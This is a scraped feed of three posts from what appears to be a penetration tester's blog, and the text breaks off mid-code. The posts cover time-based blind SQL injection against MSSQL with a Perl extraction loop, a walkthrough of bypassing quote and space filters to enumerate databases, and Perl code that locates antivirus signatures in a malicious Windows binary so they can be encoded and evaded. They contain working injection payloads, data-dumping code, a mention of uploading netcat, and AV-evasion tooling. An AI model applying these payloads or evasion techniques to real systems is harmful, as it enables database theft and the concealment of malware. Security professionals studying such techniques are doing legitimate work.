upgraded/improved since December 2000!!!<br /></p><span style="font-family:arial;">So, anytime you are reviewing a Legacy system which performs symmetric key encryption, make sure to double check the now well known (at least to me :-) Wassenaar Arrangement regime.</span><br style="font-family:arial;"><br face="arial"><span style="font-family:arial;">See you in the next blog.</span>Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com0tag:blogger.com,1999:blog-4984553587728477254.post-21084335791386055972012-03-12T15:36:00.017-07:002012-03-14T01:41:11.901-07:00Time Based Blind SQL Injection<span style="font-family:arial;">I am not going to talk about Blind SQL injection since this is fully documented across different web sites, check References section at the end of this blog.</span><br /><br /><span style="font-family:arial;">The reason I am writing this blog is for two main purposes:</span><br /><span style="font-family:arial;"><br />1. <span style="font-weight: bold;">Bug Hunting</span>: To explain the process I followed to discover a "not-easy-to-find" vulnerability.</span><span style="font-family:arial;"><br />2. <span style="font-weight: bold;">Exploit form scratch</span>: To release a tool to extract data from the Data base via SQL Blind injection.</span><br /><br /><span style="font-weight: bold;font-family:arial;">Bug Hunting:</span><br /><br /><span style="font-family:arial;">When I put the famous single quote in front of the form I got the well known message:</span><span style=";font-family:Arial;font-size:85%;"><br /><br /><span style="color: rgb(255, 0, 0);">Microsoft OLE DB Provider for SQL Server</span></span><span style="color: rgb(255, 0, 0);font-family:arial;"> </span><span style="color: rgb(255, 0, 0);font-family:Arial;font-size:85%;">error '80040e14'</span><p face="arial" style="color: rgb(255, 0, 0);"> </p><p style="color: rgb(255, 0, 0); font-family:arial;"> <span style="font-size:85%;">Unclosed quotation mark before the character string '''.</span> </p><span style="font-family:arial;">Then, without any extra parsing to above error response, I started inserting the common ways of exploitation:</span><ul style="font-family: arial;"><li>'+OR+'1'='1</li><li>'+OR+1=1--</li><li>'+having+1=1--</li><li>'+union (select 1 from table)--</li><li>etc<br /></li></ul><span style="font-family:arial;">The first thing I noticed is that the spaces were being filtered but as explained in my previous SQLi post, you can easily bypass that by injecting a TAB (%09) instead of a space.</span><br /><span style="font-family:arial;"><span><br />After bypassing the space restric</span><span style="font-family:arial;">tion, I alwa</span>ys got syntax errors like:</span><span style=";font-family:Arial;font-size:85%;"><br /><br /><span style="color: rgb(255, 0, 0);">Incorrect syntax near the keyword 'OR'.</span></span><span style="color: rgb(255, 0, 0);font-family:Arial;font-size:85%;"><br />Incorrect syntax near the keyword 'having'.</span><span style=";font-family:Arial;font-size:85%;"><br /><span style="color: rgb(255, 0, 0);">Incorrect syntax near the keyword 'union'.</span><br /></span><br /><span style="font-family:arial;">Which was telling me two things: first, my SQLi was being executed but with syntax errors and second that I was not in the common scenario where the injection is being placed after the WHERE clause:</span><span style=";font-family:Arial;font-size:85%;"><br /><br /><span style="color: rgb(51, 255, 51);">select ..... where user='aa' OR 1=1</span><br /></span><br /><span style="font-family:arial;">After a lot of testing without success, I just assumed I cannot inject any SQL command after the single quote, so, then I started inserting other chars like: ',' and... I got below error:</span><span style=";font-family:Arial;font-size:85%;"><br /><br /><span style="color: rgb(255, 0, 0);">Procedure or function get_Etiqueta has too many arguments specified.</span></span><p style="font-family: arial;"> </p><span style="font-family:arial;">Then I realized we were dealing with a Stored Procedure which in fact was injectable, this could explain the restrictions and therefore the syntax error messages. Then I decide a new way of injection (below is the value inserted in the vulnerable POST parameter):</span><br /><span style=";font-family:Arial;font-size:85%;"><br /><span style="color: rgb(51, 255, 51);"><span style="color: rgb(255, 153, 0);">';</span><span style="color: rgb(51, 51, 255);"><my_own_sql_query>;</span><span style="color: rgb(204, 102, 204);">--</span></span><br /><br /></span><span style="font-family:arial;">Above injection is saying, <span style="color: rgb(255, 153, 0);">complete the current request</span>, <span style="color: rgb(51, 51, 255);">execute my own SQL command</span>, <span style="color: rgb(204, 102, 204);">and comment out the rest of the string.</span></span><br /><br /><span style="font-family:arial;">When executed using fake table and field:</span><span style=";font-family:Arial;font-size:85%;"><br /><br /><span style="color: rgb(51, 255, 51);">'; select xxx from table tabla'--</span><br /></span><br /><span style="font-family:arial;">I did not get any error, just redirected back to main Login page. Then I realized we were not getting any responses from the DB and therefore in a Blind SQL Injection scenario, so I decided to use the famous <span style="font-weight: bold;">WAITEFOR DELAY</span> command from MSSQL to validate if my attempts were being executed in the server side, so I sent:</span><span style=";font-family:Arial;font-size:85%;"><br /><br /><span style="color: rgb(51, 255, 51);">0';WAITFOR%09DELAY%09'0:0:15'</span><br /><br /></span><span style="font-family:arial;">And voila!!! The browser waits 15 seconds to get the response from the Server!! Now we have identified the BUG, so, how can we exploit it? Let's go to the next section.</span><br /><br /><span style="font-weight: bold;font-family:arial;">Exploit from Scratch.</span><br /><br /><span style="font-family:arial;">I decided to use sqlmap or sqlninja to dump the database or to get a remote shell, but none works for me, just for one reason, those tools have their own methods to bypass filters, but unfortunately, the TAB (%09) trick is not handled by them and therefore all my injections were being rejected. It was a mess to adjust their tools so I decided to keep improving my own tools and come up with <span style="color: rgb(0, 0, 153); font-weight: bold;">Regalado-blindSQL.pl</span> perl script.</span><br /><br /><span style="font-family:arial;">The main features of the tool are as follows:</span><span style="font-family:arial;"><br /></span><ul><li><span style="font-family:arial;">Create a SQL procedure to assign the SQL query result to a variable.</span></li><li><span style="font-family:arial;">The tool, iterates to each char from the result and compare it with the ASCII table to identify its value, if the value is found, the response will be delay by 10 seconds, this way the tool can identify if a char was identified.</span></li><li><span style="font-family:arial;">Write output to a log file.</span></li><li><span style="font-family:arial;">Implements netcat upload feature from Sqlninja tool, just changing the bypass technique and the Libraries used to established the SSL Connection.</span></li></ul><span style="font-family:arial;">Below the script to identify the chars in the response:</span><br /><br /><span style="color: rgb(51, 255, 51);font-family:arial;">1. my $cmd = " declare \@s varchar(100) select TOP 1 \@s = $sql" .</span><br /><span style="color: rgb(51, 255, 51);font-family:arial;">2. " if (ascii(substring(\@s,$j,1))) =". $i ." waitfor delay '0:0:10' " .</span><br /><span style="color: rgb(51, 255, 51);font-family:arial;">3. " else waitfor delay '0:0:1'";</span><br /><br /><span style="font-family:arial;">At Line 1, we create the variable @s and assign it the result of the $sql being executed.</span><br /><span style="font-family:arial;">At Line 2, the first char (denoted by $j) is subtracted from the string acquired and compare with the first value in the ASCII Table ($i).</span><br /><span style="font-family:arial;">This loops will repeat until the char is found and then $j will be incremented to move to the next char in the string.</span><br /><br /><span style="font-family:arial;">The main loop to get the string, parse each char and compare it with ASCII TABLE is here:</span><br /><br /><span style="color: rgb(0, 0, 153);font-size:85%;"><span style="font-family:arial;"> <span style="color: rgb(0, 204, 204);">while (length ($dato) > 0){ #Keep searching until no more data found</span></span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> $dato ="";</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> for $j (1 .. 100){#This is the maximum text length to retrieve, although the tool knows when the string is complete </span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> print "\t\nIdentificando char number: $j\n";</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> open (FILE,">>", "output.txt") or die $!; #Creating log file<br /><br /></span><span style="color: rgb(0, 204, 204);font-family:arial;"> for $i (32 .. 126){ #ASCII TABLE Printable chars only</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> $g = $i;</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> print "\t\nValidating if the letter exist: " . chr($i) . "\n";</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> my $cmd = " declare \@s varchar(100) select TOP 1 \@s = $sql" .</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> " if (ascii(substring(\@s,$j,1))) =". $i ." waitfor delay '0:0:10' " .</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> " else waitfor delay '0:0:1'";</span><br /><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> send_request($prefix . $cmd . $postfix); #Send HTTPS request</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> if (check_time() eq "encontrado") { #validates the response to know if the car was detected.</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> last;</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> }</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> }</span><br /><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> if ($r eq "encontrado"){</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> print "\t\nGetting Contenido ... " . $dato . "\n";</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> print FILE "Getting Contenido ...: " . $dato . "\n";</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> close(FILE);</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> }</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> else{ #No encontro ningun caracter y esto puede significr el fin de la palabra identificada</span><br /><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> print "\t\n*********END OF CONTENT EXTRACTTION ... Moving to next one.\n";</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> last;</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> }</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;">}</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;">print "\t\n****************Content FOUND: " . $dato . " for table/field: $tb/$fi******************\n";</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> print FILE "\n****************Content FOUND: " . $dato . " for table/field: $tb/$fi****************\n";</span><br /><br /><span style="color: rgb(0, 204, 204);font-family:arial;"> $sql = $sql . " and $fi not like '". $dato . "'"; #preparing the next string to retrieve.</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;">}</span><br /><span style="color: rgb(0, 204, 204);font-family:arial;">print "\t\nEND OF EXECUTION check output.txt log file.\n\n";</span><br /></span><span style="font-family:arial;"><br />Finally, the tools is able to identify:<br /></span><ul style="position: static; z-index: auto; "><li><span style="font-family:arial;"> DB Name</span></li><li><span style="font-family:arial;"> DB User</span></li><li><span style="font-family:arial;">DB Version</span></li><li><span style="font-family:arial;">List of tables from current DB</span></li><li><span style="font-family:arial;">List of fields from specific table</span></li><li><span style="font-family:arial;">Content of tables<br /></span></li><li><span style="font-family:arial;">Upload netcat via sqlninja methods.</span></li></ul><div><span class="Apple-style-span" style="font-family:arial;"><b>IMPORTANT</b>: The tool DOES NOT FIND vulnerabilities, it assumes you already found one and need to leverage the exploitation. Being this said, you might need to change the<span class="Apple-style-span" style="color:#33ff33;"> $prefix</span> and <span class="Apple-style-span" style="color:#33ff33;">$postfix</span> variables within the tool to adjust based on the way your application is exploitable.</span></div><div><span class="Apple-style-span" style="font-family:arial;"><br /></span></div><span style="font-family:arial;"><span style="font-weight: bold;">References</span>:</span><br /><span style="font-family:arial;">https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29</span><br /><br /><span style="font-weight: bold; font-style: italic;font-family:arial;">Please send me an email if you want a copy of the script.</span><span style="font-size:78%;"><br /></span><br /><span style=";font-family:Arial;font-size:85%;"></span><p> </p><p> </p>Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com7tag:blogger.com,1999:blog-4984553587728477254.post-40751501007379858592011-08-18T00:36:00.000-07:002011-08-18T01:43:53.303-07:00SQL Injection - Bypassing Single Quotes<span style="font-weight: bold;font-family:arial;" >DISCLAIMER</span><span style="font-family:arial;">: For Educational Purposes Only. </span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Level:</span><span style="font-family:arial;"> Entry Level.</span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Introduction:</span>
<br />
<br /><span style="font-family:arial;">I do not want to reinvent the wheel, just that I did not find enough information (actually I did not find anything clear enough) when trying to bypass single quotes filters via CHAR() MSSQL function, so I decided to write my own steps here.</span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Scenario:</span>
<br />
<br /><span style="font-family:arial;">You found a SQL Injection in a web site, however you need to bypass some security controls and below are the steps taken.</span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Scope:</span>
<br />
<br /><span style="font-family:arial;">Applicable to Microsoft SQL 200x although the methodology works for every database.</span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Step 1:</span><span style="font-family:arial;"> We found a SQL Error in the Web App by adding letters to a numeric field:</span>
<br />
<br /><span style="font-family:arial;">http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019danux</span>
<br />
<br /><span style="font-family:arial;">And therefore we got something like:</span>
<br />
<br /><span style="color: rgb(51, 255, 51);font-family:arial;" >[SQLServer JDBC Driver][SQLServer]Incorrect syntax near '</span><span style="color: rgb(255, 0, 0); font-weight: bold;font-family:arial;" >danux</span><span style="color: rgb(51, 255, 51);font-family:arial;" >'.</span>
<br />
<br /><span style="font-family:arial;">Every time you get a SQL error in the response, that means your input was executed successfully by the DB Engine and therefore that input field is injectable.</span>
<br />
<br /><span style="font-family:arial;">Then we confirm this by adding a SQL command like:</span>
<br />
<br /><span style="font-family:arial;">http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 having 1%3d1</span>
<br />
<br /><span style="font-family:arial;">And we get a Syntax error confirming our input is being executed as SQL commands:</span>
<br />
<br /><span style="color: rgb(51, 255, 51);font-family:arial;" >[SQLServer JDBC Driver][SQLServer]Column 'db.dbo.table.field' is invalid in the HAVING clause because it is not contained in either an aggregate function or the GROUP BY clause. </span>
<br />
<br /><span style="font-family:arial;">NOTE: Every App is different so you will need to calculate your own injection string, in my case I do not need to add comments "--" at the end or single quotes (so far).</span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Step 2:</span><span style="font-family:arial;"> Trying to get DB Engine and Version via (select @@version)</span>
<br />
<br /><span style="font-family:arial;"> http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 IN (select @@version)</span>
<br />
<br /><span style="font-family:arial;">And we noticed no response is returned!!!!</span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Escalation 1:</span><span style="font-family:arial;"> Looks like there is some filter in the Server side that is not allowing us to get the information back, so a good trick is to get our information via a SQL Error message, commonly by trying to convert a string into an integer, so we will try to do that: </span>
<br />
<br /><span style="font-family:arial;">e.g. select char(@@version)</span>
<br />
<br /><span style="font-family:arial;">Whole URL:</span>
<br /><span style="font-family:arial;">http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 IN (select char(@@version))</span>
<br />
<br /><span style="font-family:arial;">The DB will try to convert the string into an integer which is not possible and therefore and error will be generated along with our information:</span>
<br />
<br /><span style="color: rgb(51, 255, 51);font-family:arial;" >[SQLServer JDBC Driver][SQLServer]Conversion failed when converting the nvarchar value '<span style="color: rgb(255, 0, 0); font-weight: bold;">Microsoft SQL Server 2005 - 9.00.5000.00 (X64) Dec 10 2010 10:38:40 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.0 (Build 6001: Service Pack 1</span>) ' to data type int</span>
<br />
<br /><span style="font-family:arial;">From now on in this Pentest we know we will need to do this kind of conversions to get our required information.</span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Step 3:</span><span style="font-family:arial;"> Lets try to get database names by injecting:</span>
<br />
<br /><span style="font-family:arial;">http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 in (SELECT top 1 NAME FROM master..sysdatabases)</span>
<br />
<br /><span style="font-family:arial;">And we get the default one "master" in the SQL error:</span>
<br />
<br /><span style="color: rgb(51, 255, 51);font-family:arial;" >[SQLServer JDBC Driver][SQLServer]Conversion failed when converting the nvarchar value </span><span style="font-family:arial;">'</span><span style="color: rgb(204, 0, 0); font-weight: bold;font-family:arial;" >master</span><span style="color: rgb(51, 255, 51);font-family:arial;" >' to data type int. </span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Step 4:</span><span style="font-family:arial;"> Now we can start searching for more databases so we do something like:</span>
<br />
<br /><span style="font-family:arial;">http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 in (SELECT top 1 NAME FROM master..sysdatabases where NAME not like 'master')</span>
<br />
<br /><span style="font-family:arial;">BUT we noticed our single quotes are being escaped:</span>
<br />
<br /><span style="color: rgb(51, 255, 51);font-family:arial;" >019 or 1 in (SELECT top 1 NAME FROM master..sysdatabases where name not like</span><span style="font-family:arial;"> </span><span style="color: rgb(255, 0, 0); font-weight: bold;font-family:arial;" >''</span><span style="font-family:arial;">master%</span><span style="color: rgb(255, 0, 0); font-weight: bold;font-family:arial;" >''</span><span style="color: rgb(51, 255, 51);font-family:arial;" >)</span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Escalation 2:</span><span style="font-family:arial;"> We use CHAR() MSSQL Function to avoid using single quotes so we inject something like:</span>
<br />
<br /><span style="font-family:arial;">http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 in (SELECT top 1 NAME FROM master..sysdatabases where name not like char(109)%2bchar(37)</span>
<br />
<br /><span style="font-family:arial;">char(116) = m</span>
<br /><span style="font-family:arial;">%2b = +</span>
<br /><span style="font-family:arial;">char(37) = %</span>
<br />
<br /><span style="font-family:arial;">result = name not like CHAR(116)+CHAR(37) </span>
<br /><span style="font-family:arial;">Or in human readable syntax: name not like 'm%'</span>
<br />
<br /><span style="font-family:arial;">But when we inject it, we do not get a response again which means a filter in the Server side is detecting this attempts, so here is where your mind need to start thinking how to bypass filters, after some minutes I decided to break the pattern by adding a horizontal tab (ASCII 09 decimal) along with the space: char(109)%2b</span><span style="color: rgb(204, 0, 0);font-family:arial;" >%09</span><span style="font-family:arial;">char(37):</span>
<br />
<br /><span style="font-family:arial;">http://site.com?method=returnSt&zipcode=44444&city=&state=&ratio=019 or 1 in (SELECT top 1 NAME FROM master..sysdatabases where name not like char(109)%2b%09char(37))</span>
<br />
<br /><span style="font-family:arial;">And guess what:</span>
<br />
<br /><span style="color: rgb(51, 255, 51);font-family:arial;" >[SQLServer JDBC Driver][SQLServer]Conversion failed when converting the nvarchar value </span><span style="font-family:arial;">'</span><span style="color: rgb(204, 0, 0); font-weight: bold;font-family:arial;" >tempdb</span><span style="color: rgb(51, 255, 51);font-family:arial;" >' to data type int</span><span style="font-family:arial;">. </span>
<br />
<br /><span style="font-family:arial;">We got the second default DB which means Game Over! we can dump the whole database and if we are lucky we could escalate it and get a remote shell (out of scope of this article).</span>
<br />
<br /><span style="font-family:arial;">We could start getting more data base names by discarding the ones we already got, something like:</span>
<br />
<br /><span style="font-family:arial;">where name not like 'master' and name not like 'tempdb' and name not like ..... using above instructions.</span>
<br />
<br /><span style="font-family:arial;">The next immediate step would be to start listing the tables from the DB and then the fields from those tables like:</span>
<br />
<br /><span style="font-family:arial;">SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');</span>
<br />
<br /><span style="font-weight: bold;font-family:arial;" >Well known references:</span>
<br />
<br /><span style="color: rgb(255, 153, 0);font-family:arial;" >1. http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet</span>
<br /><span style="color: rgb(255, 153, 0);font-family:arial;" >2. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/</span>
<br />
<br />
<br /><span style="font-family:arial;">Hope this helps.</span>
<br />Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com0tag:blogger.com,1999:blog-4984553587728477254.post-50353633166461565972011-07-04T17:17:00.000-07:002011-07-04T21:07:16.414-07:00AV Bypassing Basics- 101 Approach Series<span style="font-weight: bold;font-family:arial;" ><br />DISCLAIMER</span><span style="font-family:arial;">: For Educational Purpose only. The author is not responsible for any misuse of the information.</span><br /><br /><span style="font-weight: bold;font-family:arial;" >INTRODUCTION</span><span style="font-family:arial;">:</span><br /><span style="font-family:arial;">Many different posts have explained the basics to bypass a signature-based AV and therefore I will not explain the same stuff but to come up with a tool that can be used as a framework to keep bypassing the AVs by updating the encoding function with little effort.<br /><br /><span style="font-weight: bold;">SCOPE:</span><br />The tool was tested against AVG 7.5 and only works with Windows PE 32 bits binaries.</span><br /><br /><span style="font-weight: bold;">RESOURCES:</span><br /><br /><ol><li style="font-family:arial;">Code Breakers Magazine: Portable Executable File Format - A Reverse Engineer View.<br /></li><li face="arial">This tool is inspired in the presentation give my Mati Aharoni at Shmoocon: <span style="color: rgb(255, 255, 51);font-size:85%;" >http://www.youtube.com/watch?v=kwq5VQj3Ils</span></li><li style="font-family: arial;">Taking back netcat: <span style="font-size:85%;"> <span style="color: rgb(255, 255, 51);">http://dl.packetstormsecurity.net/papers/virus/Taking_Back_Netcat.pdf</span></span></li></ol><br /><span style="font-weight: bold;font-family:arial;" >TOOL NAME</span><span style="font-family:arial;">: Regalado-AV.pl</span><br /><br /><span style="font-weight: bold;font-family:arial;" >TOOL DESCRIPTION:</span><br /><span style="font-family:arial;">The tool will read a malicious file, then will play with the AV to locate the malicious signature within the binary, then will encode the signature and finally will insert the decoder function to decode the signature in memory. </span><br /><br /><span style="font-weight: bold;font-family:arial;" >MAIN FEATURES OF THE TOOL:<br /></span><ul style="font-family:lucida grande;"><li><span style="font-family:arial;">PE Parsing: The tool loads the PE Binary in memory and extracts important data like PE Header, Data Directory, Section Table and PE File sections.</span><br /></li></ul><ul style="font-family:lucida grande;"><li><span style="font-family:arial;">Able to locate the "malicious bytes" (signature) being caught by the AV. Each AV has its own signatures to detect malicious files, once we detect the exact location within the binary, the next step is to encode them so that the AV does not see them anymore.</span></li></ul><ul style="font-family:lucida grande;"><li><span style="font-family:arial;">Insert Code Cave: The tool will redirect the entry point to the encoder/decoder function which will encode the signature being detected.</span></li></ul><ul style="font-family:lucida grande;"><li><span style="font-family:arial;">Section patching on the fly: The section where the signature is located must be set as "writeable" so that it can be overwritten on memory.</span></li></ul><ul style="font-family:lucida grande;"><li><span style="font-family:arial;">Opcode creation on the fly: The tool is able to create CALLs and JUMPs instructions calculating the relative address on the fly, and adjusting from RAW to VIRTUAL address as well. </span><br /></li></ul><span style="font-weight: bold;font-family:arial;" >PE Parsing:</span><br /><br /><span style="font-family:arial;">Below is the code to get all the properties from PE Binary:</span><br /><span style="color: rgb(255, 0, 0);font-size:78%;" ><br />sub get_PE_structure(){<br /><br />my @cop = @_;<br /># bytes 60 - 63 holds the PE Header offset address<br />$PE{"pe_off_addr"} = hex($cop[63] . $cop[62] . $cop[61] . $cop[60]);<br />print " PE Offset Address=>" . $PE{"pe_off_addr"} . "\n"; # En decimal<br />my $pe_off = $PE{"pe_off_addr"};<br /><br />$PE{"pe_header_off"} = $cop[$pe_off] . $cop[$pe_off + 1];<br /><br />#Validating we got the PE Header which starts with 50 45 = PE<br />if ($PE{"pe_header_off"} eq "5045"){<br /> print " PE Header Prefix =>" . $PE{"pe_header_off"} . "\n";<br />}<br />else{<br /> print " PE Header Offset NOT FOUND\n";<br />}<br />#[80h + 6h] = #NumberOfSections -> 6 bytes after offset of PE Header defined above.<br />$PE{"NumberOfSections"} = $cop[$PE{"pe_off_addr"} + 6];<br />print " PE Number of Sections=>" . $PE{"NumberOfSections"} . "\n";<br /><br />#[80h + 28h] = #Virtual AddressOfEntryPoint -> 28h = 40d<br />$PE{"AddressOfEntryPoint"} = $cop[$pe_off + 43] . $cop[$pe_off + 42] . $cop[$pe_off + 41] . $cop[$pe_off + 40];<br />print " PE AddressOfEntryPoint=>" . $PE{"AddressOfEntryPoint"} . "\n";<br /><br />#[80h + 2Ch] = #Virtual BaseOfCode -> 2Ch = 44d<br />#BaseOfCode = RVA of first byte of code when loaded into RAM<br />$PE{"BaseOfCode"} = $cop[$pe_off + 47] . $cop[$pe_off + 46] . $cop[$pe_off + 45] . $cop[$pe_off + 44];<br />print " PE BaseOfCode=>" . $PE{"BaseOfCode"} . "\n";<br /><br />#[80h + 34h] = #ImageBase -> 34h = 52d<br />$PE{"ImageBase"} = $cop[$pe_off + 55] . $cop[$pe_off + 54] . $cop[$pe_off + 53] . $cop[$pe_off + 52];<br />print " PE ImageBase=>" . $PE{"ImageBase"} . "\n";<br /><br />#Calculating the distance from the start of Code section to the Entry Point, this will be used to calculate the Raw Offset of Entry Point<br /><br />my $diff = hex($PE{"AddressOfEntryPoint"}) - hex($PE{"BaseOfCode"});<br />#print " Entry point is $diff (dec) bytes away from the start of code section\n";<br /><br /><br />#Sections related data, not part of PE Structure but each section<br /><br />#[80h + F8h] = #START OF SECTION TABLE - PE Offset + F8h (248d) = 178h start of .text section<br />$sec_off = $pe_off + 248;<br />for (my $i =1; $i <= $PE{"NumberOfSections"}; $i++){<br /><br /> #[80h + F8h] = #START OF SECTION TABLE - PE Offset + F8h (248d) = 178h start of .text section<br /> #[178] = #Offset of .text section<br /> #[178] = #Section name - 8 bytes<br /> $sec_name = sprintf("%c%c%c%c%c%c%c%c", hex($cop[$sec_off]) , hex($cop[$sec_off + 1]) , hex($cop[$sec_off + 2]) , hex($cop[$sec_off + 3]) ,<br /> hex($cop[$sec_off + 4]) , hex($cop[$sec_off + 5]) , hex($cop[$sec_off + 6]) , hex($cop[$sec_off + 7]));<br /><br /> $sec_name =~ s/^(\.[a-zA-Z]+).+/$1/;<br /> print " Section Name=>" . $sec_name . "<<\n";<br /> $SEC{$i}{"name"} = $sec_name;<br /> $SEC{$i}{"offset"} = $sec_off;<br /> #print " Section Offset=>" . $SEC{$i}{"offset"} . "\n";<br /><br /> #[178h + 0c] = #Virtual Address - Size of data on disk - 4 bytes - + 0c h = 12d<br /> $SEC{$i}{"VirtualAddress"} = $cop[$sec_off + 15] . $cop[$sec_off + 14] . $cop[$sec_off + 13] . $cop[$sec_off + 12];<br /> print " VirtualAddress=>" . $SEC{$i}{"VirtualAddress"} . "\n";<br /><br /> #[178h + 10h] = #SizeOfRawData - Size of data on disk - 4 bytes<br /> $SEC{$i}{"SizeOfRawData"} = $cop[$sec_off + 19] . $cop[$sec_off + 18] . $cop[$sec_off + 17] . $cop[$sec_off + 16];<br /> print " SizeOfRawData=>" . $SEC{$i}{"SizeOfRawData"} . "\n";<br /><br /> #[178h + 14h] = #PointerToRawData - Raw Offset of section on disk - could be zero, if not, take it without extra calc, otherwise extra calc.<br /> $SEC{$i}{"PointerToRawData"} = $cop[$sec_off + 23] . $cop[$sec_off + 22] . $cop[$sec_off + 21] . $cop[$sec_off + 20];<br /> print " PointerToRawData=>" . $SEC{$i}{"PointerToRawData"} . "\n";<br /><br /><br /> if ($i == 1){<br /> #Saving ONLY offset of first section which will be the offset to start obfuscating the file<br /> $firstOffset = hex($SEC{$i}{"PointerToRawData"});<br /><br /> #Calculating the Raw offset of Entry Point based on Virtual AddressOfEntryPoint<br /> $rawEntryPoint = $firstOffset + $diff;<br /> print " Raw Entry Point: $rawEntryPoint\n";<br /> }<br /><br /> #[178h + 24h] = #Characteristics - DWORD = 4 bytes - Defines the permissions of the file when loaded in Memory<br /> #Flags => 20000000 - section is executable<br /> # 40000000 - section is readable<br /> # 80000000 - section is writable - Si valor del flag es menor a 80000000 entonces no es writable y hay que sumarle esta cantidad.<br /> # e.g. .rdata flag = 40000040 no writable. Making it writable will require to add 80000000 to current value so final flag would be = C0000040<br /> # 40000040 + 80000000 = C0000040<br /> $SEC{$i}{"flag"} = $cop[$sec_off + 39] . $cop[$sec_off + 38] . $cop[$sec_off + 37] . $cop[$sec_off + 36];<br /> print " Flag=>" . $SEC{$i}{"flag"} . "\n";<br /> #Pass current flag of section and the array containing the raw file, this when calling the function<br /><br /> #Now, lets move on to the next section offset which is 28h = 40d bytes further<br /> $sec_off += 40;<br /><br /> }#End of For loop<br />}</span><br /><br /><br /><span style="font-weight: bold;font-family:arial;" >Locating the malicious signature within the binary:</span><br /><br /><span style="font-family:arial;">The idea was taken from the document "Taking back Netcat", with little changes, basically the steps performed by the tool are shown below:</span><br /><br /><ol><li style="font-family: arial;">The binary will be splitted into two parts: part1 and part2.</li><li style="font-family: arial;">Part 1 is filled out with zeros.</li><li style="font-family: arial;">The AV scan is run against the binary.</li><li style="font-family: arial;">If a virus is detected by the scan, it means the signature is located in part2 (since part1 contains only zeros). Then, part2 is divided into part1 and part2 and go to point 3.</li><li style="font-family: arial;">If a virus is NOT detected by the scan, then the virus is located in part1. Then part1 is divided into part1 and part2 and go to point 3.</li><li><span style="font-family:arial;">Loop from point 3 to 5 is repeated until no more bytes left to analyzed or until the AV does not detect the virus anymore in part1 and part2.</span></li></ol>The function that performs this feature is called "get_signature" and shown below:<br /><span style="color: rgb(255, 0, 0);font-size:78%;" ><br />sub get_signature(){<br /><br />my ($parte, $off, $end, @cop) = @_;<br /><br />my $chunk = "";<br />my $div = "";<br />my $mod = "";<br /><br />if ($parte eq "p1") { #Divide en 2 partes y utiliza la primera - p1<br /> $chunk = $end - $off;<br /> $div = $off + ($chunk / 2);<br /> $mod = $chunk % 2;<br /><br /> if ($mod == 1) {<br /> $div = ceil($div);<br /> #print "Redondeo: $div\n";<br /> }<br />}<br />elsif ($parte eq "p2"){#No divide solo ofusca la parte 2<br /><br /> $div = $end;<br />}<br /><br />print "\n" . $off . " < -- > ". $div . "\n";<br /><br />#Siempre habre solo 2 partes del archivo: Parte 1 y Parte 2<br />#for my $n ($offset .. $div){#Llenamos Parte 1 de ceros<br />my $cont = 0;<br />for my $n ($off .. $div){#Llenamos Parte 1 de ceros<br /> $cop[$n] = sprintf("%02x", "00");<br /> $cont += 1;<br />}<br />print "Bytes obfuscated: " . $cont . "\n";<br /><br />write_file(@cop); #Write file to be scanned by AV<br />ask_user(); #Asl end user whether virus found<br /><br />if ($ans eq "y") { #Virus Found then signature is located in the Parte 2<br /> $c_found +=1;<br /> if ($c_found == 2){<br /> #check if a previous good obfuscation of signature was detected<br /> if ($sig_ini > 0){<br /> print "\n\t***** Signature FOUND *******\n";<br /> #print "\t" . $sig_ini . " < -- > ". $sig_end . "\n";<br /> get_section();<br /> get_signatureVA();#Calculate Vitual offset of signature to use it within decoder routine<br /> print "\tSignature Address range: " . $vsig_ini . " < -- 